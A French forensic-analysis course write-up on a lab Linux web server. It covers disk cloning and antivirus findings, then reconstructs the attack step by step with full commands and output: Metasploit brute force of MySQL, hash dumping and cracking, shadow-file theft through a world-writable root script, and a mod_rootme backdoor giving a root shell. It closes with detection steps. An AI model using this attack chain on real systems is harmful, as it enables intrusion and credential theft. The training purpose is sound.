Table des matières

1 Forensic

En forensic, on ne travaille jamais sur le disque directement. Travailler sur une copie. Détruire la VM si vous avez exécuté des commandes système dessus. La réimporter et suivre les commandes suivantes :

1.1.1 Copier le disque

Faire une copie du disque virtualbox en format raw

Vboxmanage clonehd <disque.vdmk> <fichier.raw> -- format RAW

```
vboxmanage clonehd /home/cedric/vms/cybersec_demo_drupal_scenar1/cybersec_forensic_scenar2-disk001.vmdk forensic.raw --format R
AW
0%...10%...20%...30%...40%...50%...60%...70%...80%...90%...100%
Clone medium created in format 'RAW'. UUID: 6581fafa-4689-46c8-a5eb-aeb5e5c7c212
cedric@debced:~/cloud/taff/forensic_drupal/scenar_2$
```

Monter la copie sur votre système

Fdisk –l <fichier.raw>

Mount –o loop, ro,offset=1048576 <fichier.raw> <point_de_montage>

```
root@debced:/home/cedric/cloud/taff/forensic_drupal/scenar_2# fdisk -l forensic.raw
Disk forensic.raw: 8 GiB, 8589934592 bytes, 16777216 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x00005514

Device          Boot    Start      End  Sectors  Size Id Type
forensic.raw1 *         2048 15960063 15958016  7,6G 83 Linux
forensic.raw2       15962110 16775167   813058  397M  5 Extended
forensic.raw5       15962112 16775167   813056  397M 82 Linux swap / Solaris
```

```
mount -o loop,ro,offset=1048576 forensic.raw /mnt/tmp
```

*offset = 512 *2048 = 1048576

```
root@debced:/home/cedric/cloud/taff/forensic_drupal/scenar_2# find /mnt/tmp/ -type f -printf '%TY-%Tm-%Td %TT %p\n' | sort -r
2018-11-06 19:15:43.9325963230 /mnt/tmp/var/log/upstart/networking.log
2018-11-06 19:15:43.9285963230 /mnt/tmp/var/lib/dhcp/dhclient.eth0.leases
2018-11-06 19:15:43.5925963230 /mnt/tmp/var/lib/dhcp/dhclient.eth1.leases
2018-11-06 19:15:43.1725963230 /mnt/tmp/var/log/wtmp
2018-11-06 19:15:43.1325963230 /mnt/tmp/var/lib/urandom/random-seed
2018-11-06 19:15:42.9285963230 /mnt/tmp/var/log/upstart/systemd-logind.log
2018-11-06 19:15:41.4125963230 /mnt/tmp/var/log/apache2/error.log
2018-11-06 19:15:39.0645963230 /mnt/tmp/var/log/tomcat7/catalina.out
2018-11-06 19:15:39.0645963230 /mnt/tmp/var/log/tomcat7/catalina.2018-11-06.log
2018-11-06 19:15:38.9965963230 /mnt/tmp/var/log/tomcat7/localhost.2018-11-06.log
2018-11-06 19:15:37.6405963230 /mnt/tmp/var/log/mysql/error.log
2018-11-06 19:15:36.2525963230 /mnt/tmp/var/lib/mysql/ibdata1
2018-11-06 19:15:35.9685963230 /mnt/tmp/var/lib/mysql/ib_logfile0
2018-11-06 19:15:35.2725963230 /mnt/tmp/var/lib/mysql/mysql/slow_log.CSM
2018-11-06 19:15:35.2205963230 /mnt/tmp/var/lib/mysql/mysql/general_log.CSM
2018-11-06 19:15:34.5165963230 /mnt/tmp/root/.bash_history
2018-11-06 19:15:34.5045963230 /mnt/tmp/var/log/syslog
2018-11-06 19:15:31.8445963230 /mnt/tmp/var/log/auth.log
2018-11-06 19:15:16.3405963230 /mnt/tmp/home/eleve/.bash_history
2018-11-06 19:14:07.8525963230 /mnt/tmp/var/log/apache2/access.log
2018-11-06 19:12:54.5525963230 /mnt/tmp/var/log/tomcat7/localhost_access_log.2018-11-06.txt
2018-11-06 19:12:37.2965963230 /mnt/tmp/var/log/apport.log
2018-11-06 19:12:37.2925963230 /mnt/tmp/var/crash/.lock
2018-11-06 19:12:36.0605963230 /mnt/tmp/var/log/kern.log
```

Lancer un scan anti-virus (avec clamav par exemple) sur le poste

```
root@debced:/home/cedric/cloud/taff/forensic_drupal/scenar_2# clamscan --bell -r -i --log=/var/log/clamav/virus.log /mnt/tmp/
/mnt/tmp/var/lib/tomcat7/webapps/lNl2BVYX/WEB-INF/classes/metasploit/Payload.class: Java.Trojan.Agent-36975 FOUND
/mnt/tmp/var/lib/tomcat7/webapps/backdoor/obdsqwge.jsp: Java.Trojan.MSShellcode-19 FOUND
/mnt/tmp/var/lib/tomcat7/webapps/nU637mCjOTGt2B8L8F3aJXvQHrU/WEB-INF/classes/metasploit/Payload.class: Java.Trojan.Agent-36975 FOUND
/mnt/tmp/var/lib/tomcat7/webapps/mHzpKRdua3RDHoq6/WEB-INF/classes/metasploit/Payload.class: Java.Trojan.Agent-36975 FOUND
/mnt/tmp/var/lib/tomcat7/webapps/nU637mCjOTGt2B8L8F3aJXvQHrU.war: Java.Trojan.Agent-36975 FOUND
/mnt/tmp/var/lib/tomcat7/webapps/mHzpKRdua3RDHoq6.war: Java.Trojan.Agent-36975 FOUND
/mnt/tmp/var/lib/tomcat7/webapps/backdoor.war: Java.Trojan.MSShellcode-19 FOUND
/mnt/tmp/var/lib/tomcat7/webapps/lNl2BVYX.war: Java.Trojan.Agent-36975 FOUND
```

Trouver le malware installé sur le système

2 Méthodologie de l’attaque

L’attaque réalisée par l’attaquant a été la suivante :

2.1 Cartographie

nmap -p1-65535 192.168.1.86 -sV -sC –v

2.2 Brute Force des services

2.2.1 ssh

Brute-force ssh

msf > use auxiliary/scanner/ssh/ssh_login

msf auxiliary(scanner/ssh/ssh_login) > set rhosts xxxxx

rhosts => 192.168.1.86

msf auxiliary(scanner/ssh/ssh_login) > show options

Pas de mots de passe découvert

2.2.2 mysql

msf auxiliary(scanner/ssh/ssh_login) > use auxiliary/scanner/mysql/mysql_login

Découverte du compte test:test

```
[-] 192.168.1.86:3306     - 192.168.1.86:3306 - LOGIN FAILED: test:master (Incorrect:
Access denied for user 'test'@'ganesh' (using password: YES))
[-] 192.168.1.86:3306     - 192.168.1.86:3306 - LOGIN FAILED: test:michael (Incorrect:
Access denied for user 'test'@'ganesh' (using password: YES))
[-] 192.168.1.86:3306     - 192.168.1.86:3306 - LOGIN FAILED: test:football (Incorrect:
Access denied for user 'test'@'ganesh' (using password: YES))
[+] 192.168.1.86:3306     - 192.168.1.86:3306 - Success: 'test:test'
[-] 192.168.1.86:3306     - 192.168.1.86:3306 - LOGIN FAILED: administrator:123456
(Incorrect: Access denied for user 'administrator'@'ganesh' (using password: YES))
[-] 192.168.1.86:3306     - 192.168.1.86:3306 - LOGIN FAILED: administrator:password
(Incorrect: Access denied for user 'administrator'@'ganesh' (using password: YES))
```

2.2.3 Exploitation du serveur mysql

Connexion avec les identifiants récupérés

```
msf auxiliary(scanner/mysql/mysql_login) > use auxiliary/admin/mysql/mysql_sql
msf auxiliary(admin/mysql/mysql_sql) > set rhosts 192.168.1.86
rhosts => 192.168.1.86
msf auxiliary(admin/mysql/mysql_sql) > set rhost 192.168.1.86
rhost => 192.168.1.86
msf auxiliary(admin/mysql/mysql_sql) > set username test
username => test
msf auxiliary(admin/mysql/mysql_sql) > set password test
password => test
msf auxiliary(admin/mysql/mysql_sql) > set SQL show databases ;
SQL => show databases ;
```

```
msf auxiliary(admin/mysql/mysql_sql) > run

[*] 192.168.1.86:3306 - Sending statement: 'show databases ;'...
[*] 192.168.1.86:3306 -  | information_schema |
[*] 192.168.1.86:3306 -  | limesurvey |
[*] 192.168.1.86:3306 -  | mysql |
[*] 192.168.1.86:3306 -  | performance_schema |
[*] 192.168.1.86:3306 -  | phpmyadmin |
[*] Auxiliary module execution completed
msf auxiliary(admin/mysql/mysql_sql) > use auxiliary/scanner/mysql/mysql_schemadump
msf auxiliary(scanner/mysql/mysql_schemadump) > set rhost 192.168.1.86
[!] RHOST is not a valid option for this module. Did you mean RHOSTS?
rhost => 192.168.1.86
msf auxiliary(scanner/mysql/mysql_schemadump) > set username test
username => test
msf auxiliary(scanner/mysql/mysql_schemadump) > set password test
password => test
msf auxiliary(scanner/mysql/mysql_schemadump) > set rhosts 192.168.1.86
rhosts => 192.168.1.86
msf auxiliary(scanner/mysql/mysql_schemadump) > run

[+] 192.168.1.86:3306     - Schema stored in:
/home/ohmmm/.msf4/loot/20180325103007_default_192.168.1.86_mysql_schema_073751.t
xt
[+] 192.168.1.86:3306     - MySQL Server Schema
 Host: 192.168.1.86
 Port: 3306
 ====================


---
- DBName: limesurvey
  Tables:
  - TableName: lime_answers
    Columns:
    - ColumnName: qid
      ColumnType: int(11)
    - ColumnName: code
      ColumnType: varchar(5)
```

```
  - ColumnName: answer
    ColumnType: text
  - ColumnName: assessment_value
    ColumnType: int(11)
  - ColumnName: sortorder
    ColumnType: int(11)
  - ColumnName: language
    ColumnType: varchar(20)
  - ColumnName: scale_id
    ColumnType: tinyint(4)
- TableName: lime_assessments
  Columns:
  - ColumnName: id
    ColumnType: int(11)
  - ColumnName: sid
    ColumnType: int(11)
  - ColumnName: scope
    ColumnType: varchar(5)
  - ColumnName: gid
    ColumnType: int(11)
  - ColumnName: name
    ColumnType: text
  - ColumnName: minimum
    ColumnType: varchar(50)
  - ColumnName: maximum
    ColumnType: varchar(50)
  - ColumnName: message
    ColumnType: text
  - ColumnName: language
    ColumnType: varchar(20)

….
```

Récupération des mots de passe stockés dans mysql

```
msf auxiliary(scanner/mysql/mysql_file_enum) > use auxiliary/admin/mysql/mysql_enum
msf auxiliary(admin/mysql/mysql_enum) > set username test
username => test
```

```
msf auxiliary(admin/mysql/mysql_enum) > set password test
password => test
msf auxiliary(admin/mysql/mysql_enum) > set rhost 192.168.1.86
rhost => 192.168.1.86
msf auxiliary(admin/mysql/mysql_enum) > run

[*] 192.168.1.86:3306 - Running MySQL Enumerator...
[*] 192.168.1.86:3306 - Enumerating Parameters
[*] 192.168.1.86:3306 -         MySQL Version: 5.5.59-0+deb8u1-log
[*] 192.168.1.86:3306 -         Compiled for the following OS: debian-linux-gnu
[*] 192.168.1.86:3306 -         Architecture: i686
[*] 192.168.1.86:3306 -         Server Hostname: webserver
[*] 192.168.1.86:3306 -         Data Directory: /var/lib/mysql/
[*] 192.168.1.86:3306 -         Logging of queries and logins: ON
[*] 192.168.1.86:3306 -         Log Files Location: ON
[*] 192.168.1.86:3306 -         Old Password Hashing Algorithm OFF
[*] 192.168.1.86:3306 -         Loading of local files: ON
[*] 192.168.1.86:3306 -         Deny logins with old Pre-4.1 Passwords: OFF
[*] 192.168.1.86:3306 -         Allow Use of symlinks for Database Files: YES
[*] 192.168.1.86:3306 -         Allow Table Merge:
[*] 192.168.1.86:3306 -         SSL Connection: DISABLED
[*] 192.168.1.86:3306 - Enumerating Accounts:
[*] 192.168.1.86:3306 -         List of Accounts with Password Hashes:
[+] 192.168.1.86:3306 -                 User: root Host: localhost Password Hash:
*4182383D424F4C4F3BB3498700022D6E29AF3AB3
[+] 192.168.1.86:3306 -                 User: root Host: webserver Password Hash:
*4182383D424F4C4F3BB3498700022D6E29AF3AB3
[+] 192.168.1.86:3306 -                 User: root Host: 127.0.0.1 Password Hash:
*4182383D424F4C4F3BB3498700022D6E29AF3AB3
[+] 192.168.1.86:3306 -                 User: root Host: ::1 Password Hash:
*4182383D424F4C4F3BB3498700022D6E29AF3AB3
[+] 192.168.1.86:3306 -                 User: debian-sys-maint Host: localhost Password Hash:
*9E65E9720D58A0A40730A097360A07FBCFF066A6
[+] 192.168.1.86:3306 -                 User: phpmyadmin Host: localhost Password Hash:
*4182383D424F4C4F3BB3498700022D6E29AF3AB3
[+] 192.168.1.86:3306 -                 User: eleve Host: localhost Password Hash:
*91A94BC1ECE3E4008943F3A2EB49B4E8D84B4345
[+] 192.168.1.86:3306 -                 User: test Host: localhost Password Hash:
*94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29
[+] 192.168.1.86:3306 -                 User: test Host: locahost Password Hash:
```

```
[+] 192.168.1.86:3306 -          User: test Host: % Password Hash:
*94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29
[*] 192.168.1.86:3306 -      The following users have GRANT Privilege:
[*] 192.168.1.86:3306 -          User: root Host: localhost
[*] 192.168.1.86:3306 -          User: root Host: webserver
[*] 192.168.1.86:3306 -          User: root Host: 127.0.0.1
[*] 192.168.1.86:3306 -          User: root Host: ::1
[*] 192.168.1.86:3306 -          User: debian-sys-maint Host: localhost
[*] 192.168.1.86:3306 -      The following users have CREATE USER Privilege:
[*] 192.168.1.86:3306 -          User: root Host: localhost
[*] 192.168.1.86:3306 -          User: root Host: webserver
[*] 192.168.1.86:3306 -          User: root Host: 127.0.0.1
[*] 192.168.1.86:3306 -          User: root Host: ::1
[*] 192.168.1.86:3306 -          User: debian-sys-maint Host: localhost
[*] 192.168.1.86:3306 -          User: test Host: locahost
[*] 192.168.1.86:3306 -          User: test Host: %
[*] 192.168.1.86:3306 -      The following users have RELOAD Privilege:
[*] 192.168.1.86:3306 -          User: root Host: localhost
[*] 192.168.1.86:3306 -          User: root Host: webserver
[*] 192.168.1.86:3306 -          User: root Host: 127.0.0.1
[*] 192.168.1.86:3306 -          User: root Host: ::1
[*] 192.168.1.86:3306 -          User: debian-sys-maint Host: localhost
[*] 192.168.1.86:3306 -          User: test Host: locahost
[*] 192.168.1.86:3306 -          User: test Host: %
[*] 192.168.1.86:3306 -      The following users have SHUTDOWN Privilege:
[*] 192.168.1.86:3306 -          User: root Host: localhost
[*] 192.168.1.86:3306 -          User: root Host: webserver
[*] 192.168.1.86:3306 -          User: root Host: 127.0.0.1
[*] 192.168.1.86:3306 -          User: root Host: ::1
[*] 192.168.1.86:3306 -          User: debian-sys-maint Host: localhost
[*] 192.168.1.86:3306 -          User: test Host: locahost
[*] 192.168.1.86:3306 -          User: test Host: %
[*] 192.168.1.86:3306 -      The following users have SUPER Privilege:
[*] 192.168.1.86:3306 -          User: root Host: localhost
[*] 192.168.1.86:3306 -          User: root Host: webserver
[*] 192.168.1.86:3306 -          User: root Host: 127.0.0.1
[*] 192.168.1.86:3306 -          User: root Host: ::1
[*] 192.168.1.86:3306 -          User: debian-sys-maint Host: localhost
```

```
[*] 192.168.1.86:3306 -          User: test Host: locahost
[*] 192.168.1.86:3306 -          User: test Host: %
[*] 192.168.1.86:3306 -     The following users have FILE Privilege:
[*] 192.168.1.86:3306 -          User: root Host: localhost
[*] 192.168.1.86:3306 -          User: root Host: webserver
[*] 192.168.1.86:3306 -          User: root Host: 127.0.0.1
[*] 192.168.1.86:3306 -          User: root Host: ::1
[*] 192.168.1.86:3306 -          User: debian-sys-maint Host: localhost
[*] 192.168.1.86:3306 -          User: test Host: locahost
[*] 192.168.1.86:3306 -          User: test Host: %
[*] 192.168.1.86:3306 -     The following users have PROCESS Privilege:
[*] 192.168.1.86:3306 -          User: root Host: localhost
[*] 192.168.1.86:3306 -          User: root Host: webserver
[*] 192.168.1.86:3306 -          User: root Host: 127.0.0.1
[*] 192.168.1.86:3306 -          User: root Host: ::1
[*] 192.168.1.86:3306 -          User: debian-sys-maint Host: localhost
[*] 192.168.1.86:3306 -          User: test Host: locahost
[*] 192.168.1.86:3306 -          User: test Host: %
[*] 192.168.1.86:3306 -     The following accounts have privileges to the mysql database:
[*] 192.168.1.86:3306 -          User: root Host: localhost
[*] 192.168.1.86:3306 -          User: root Host: webserver
[*] 192.168.1.86:3306 -          User: root Host: 127.0.0.1
[*] 192.168.1.86:3306 -          User: root Host: ::1
[*] 192.168.1.86:3306 -          User: debian-sys-maint Host: localhost
[*] 192.168.1.86:3306 -          User: test Host: locahost
[*] 192.168.1.86:3306 -          User: test Host: %
[*] 192.168.1.86:3306 -     The following accounts have empty passwords:
[*] 192.168.1.86:3306 -          User: test Host: locahost
[*] 192.168.1.86:3306 -     The following accounts are not restricted by source:
[*] 192.168.1.86:3306 -          User: test Host: %
[*] Auxiliary module execution completed
msf auxiliary(admin/mysql/mysql_enum) > use auxiliary/scanner/mysql/mysql_hashdump
msf auxiliary(scanner/mysql/mysql_hashdump) > set rhost 192.168.1.86
[!] RHOST is not a valid option for this module. Did you mean RHOSTS?
rhost => 192.168.1.86
msf auxiliary(scanner/mysql/mysql_hashdump) > set rhosts 192.168.1.86
rhosts => 192.168.1.86
```

```
msf auxiliary(scanner/mysql/mysql_hashdump) > set username test
username => test
msf auxiliary(scanner/mysql/mysql_hashdump) > set password test
password => test
msf auxiliary(scanner/mysql/mysql_hashdump) > run

[+] 192.168.1.86:3306     - Saving HashString as Loot:
root:*4182383D424F4C4F3BB3498700022D6E29AF3AB3
[+] 192.168.1.86:3306     - Saving HashString as Loot:
root:*4182383D424F4C4F3BB3498700022D6E29AF3AB3
[+] 192.168.1.86:3306     - Saving HashString as Loot:
root:*4182383D424F4C4F3BB3498700022D6E29AF3AB3
[+] 192.168.1.86:3306     - Saving HashString as Loot:
root:*4182383D424F4C4F3BB3498700022D6E29AF3AB3
[+] 192.168.1.86:3306     - Saving HashString as Loot: debian-sys-
maint:*9E65E9720D58A0A40730A097360A07FBCFF066A6
[+] 192.168.1.86:3306     - Saving HashString as Loot:
phpmyadmin:*4182383D424F4C4F3BB3498700022D6E29AF3AB3
[+] 192.168.1.86:3306     - Saving HashString as Loot:
eleve:*91A94BC1ECE3E4008943F3A2EB49B4E8D84B4345
[+] 192.168.1.86:3306     - Saving HashString as Loot:
test:*94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29
[+] 192.168.1.86:3306     - Saving HashString as Loot: test:
[+] 192.168.1.86:3306     - Saving HashString as Loot:
test:*94BDCEBE19083CE2A1F959FD02F964C7AF4CFC29
[*] Scanned 1 of 1 hosts (100% complete)
```

2.2.4 Crackage des mots de passe

L'attaquant a découvert le mot de passe d'un compte mysql

```
root@ganesh:~/security/pentest/methodo/passwords/tools/john-1.7.9-jumbo-7/run#  ./john --
wordlist=/home/ohmmm/wordlist/Bruteforce/passwords/500-worst-passwords.txt --
format=mysql-sha1
/home/ohmmm/ownCloud/formation/univ/UE_analyse_forensique/devoir/scenario_unix/mysql
_hashes.txt
Loaded 4 password hashes with no different salts (MySQL 4.1 double-SHA-1 [128/128 SSE2
intrinsics 4x])
secret666!!      (?)
test             (?)
guesses: 2  time: 0:00:00:00 DONE (Sun Mar 25 10:51:56 2018)  c/s: 7066  trying: phantom -
albert
Warning: passwords printed above might not be all those cracked
Use the "--show" option to display all of the cracked passwords reliably
```

2.2.5 Escalade de privileges

Connexion avec l'identifiant eleve en ssh

L'attaquant a découvert un script utilisé pour la sauvegarde du site web

```
eleve@webserver:~$ cat /scripts/backupweb.sh
now=$(date + "%m_%Y")
tar zcvf /var/www/html/backups/limesurvey_$now.tar.gz /var/www/html/limesurvey
```

Mauvaise permission sur le script, ajout d'une ligne pour copier le fichier password

```
eleve@webserver:~$ ls -alh /scripts/backupweb.sh
-rwxrwxrwx 1 root root 101 mars  20 23:18 /scripts/backupweb.sh
eleve@webserver:~$ echo "cat /etc/shadow > /tmp/s" >> /scripts/backupweb.sh
eleve@webserver:~$ cat /scripts/backupweb.sh
now=$(date + "%m_%Y")
tar zcvf /var/www/html/backups/limesurvey_$now.tar.gz /var/www/html/limesurvey
cat /etc/shadow > /tmp/s
```

Script était exécuté par root. Après exécution, copie du fichier shadow

```
eleve@webserver:~$ cat /tmp/s
root:$6$FU4JAZvt$BSLzNsh9PJShPQDTsLt0nJlyYgxjCFf5kmEeGzfG4ywzzUUyX/N6Yb.MKYhU/GPjdza9fD6QTQrCAJgyqFVj01:17597:0:99999:7:::
daemon:*:17597:0:99999:7:::
bin:*:17597:0:99999:7:::
sys:*:17597:0:99999:7:::
sync:*:17597:0:99999:7:::
games:*:17597:0:99999:7:::
man:*:17597:0:99999:7:::
lp:*:17597:0:99999:7:::
mail:*:17597:0:99999:7:::
news:*:17597:0:99999:7:::
uucp:*:17597:0:99999:7:::
proxy:*:17597:0:99999:7:::
www-data:*:17597:0:99999:7:::
```

Découverte du mot de passe (faible) : root :devoir

2.3 Installation de backdoors

Installation de la backdoor rootme : https://github.com/sajith/mod-rootme/archive/master.zip

```
cedric@ganesh:~$ nc 192.168.1.78 80
get root
rootme-0.4 ready
id
uid=0(root) gid=0(root) groups=0(root)
```

Pour détecter la backdoor, possibilité de lister les modules apache

```
root@webserver:/home/eleve# apachectl -t -D DUMP_MODULES
AH00558: apache2: Could not reliably determine the server's fully
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php5_module (shared)
 reqtimeout_module (shared)
 rootme_module (shared)
 status_module (shared)
```

Et d'utiliser rkhunter

```
System checks summary
=====================

File properties checks...
    Files checked: 145
    Suspect files: 0

Rootkit checks...
    Rootkits checked : 379
    Possible rootkits: 1
    Rootkit names    : Apache mod_rootme backdoor

Applications checks...
    All checks skipped
```